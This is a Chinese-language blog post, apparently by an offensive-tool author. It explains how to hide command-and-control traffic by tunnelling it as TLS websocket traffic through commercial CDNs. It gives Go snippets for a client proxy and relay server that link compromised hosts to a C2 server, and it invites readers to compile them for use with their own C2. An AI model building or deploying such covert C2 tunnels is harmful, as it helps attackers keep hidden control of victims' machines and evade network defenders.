隐藏C2流量最好的方法就是把C2的通信伪装成常见的合法通信。在控制好poll频率的情况下,将C2通信封装成与CDN通信的TLS流量可以说是很难引起注意了。
主流如Cloudflare和腾讯云的CDN,都支持websocket和HTTP2的代理。我们利用其中任意一种协议都能实现一个全双工的可被CDN代理的C2通信隧道。不过鉴于websocket应用更加广泛,这里就直接使用golang标准库的websocket来实现我们的流量封装工具。
昨天下午写出了能用的版本,我个人的需求是把它作为一个扩展库给我另外一个linux后渗透工具使用,所以没有实现完整的socks5代理功能,而是仅仅将代理的连接与目标C2对接上,能实现C2的正常工作。
整体的结构类似于这样:
其中,我们需要写的就是socks5代理和websocket server了。
socks5代理主要负责socks5协议实现,它与websocket服务器建立一个TLS封装的websocket连接,然后将被代理的TCP连接对接到这个websocket连接上。
websocket连接透过CDN,然后可能还透过Nginx,最后到达websocket服务器。
websocket服务器会与C2目标建立一个TCP连接,并将接到的客户端连接对接上去。至此,C2成功接到了受控端的连接,建立起C2通信。
我推荐在linux上的用户直接使用我的linux后渗透工具,这样只需指定命令行参数即可无痛使用CDN代理C2。
其它场景下,go项目可以参照如下代码示例来调用:
server端
package main import ( "log" cdn2proxy "github.com/jm33-m0/go-cdn2proxy" ) func main() { err := cdn2proxy.StartServer("9000", "127.0.0.1:8000", os.Stderr) if err != nil { log.Fatal(err) } }
客户端
package main import ( "log" cdn2proxy "github.com/jm33-m0/go-cdn2proxy" ) func main() { err := cdn2proxy.StartProxy("127.0.0.1:10888", "wss://10.10.10.1") if err != nil { log.Fatal(err) } }
如果你不用golang,可以直接将以上两个示例修改后编译,作为二进制程序配合你的C2使用。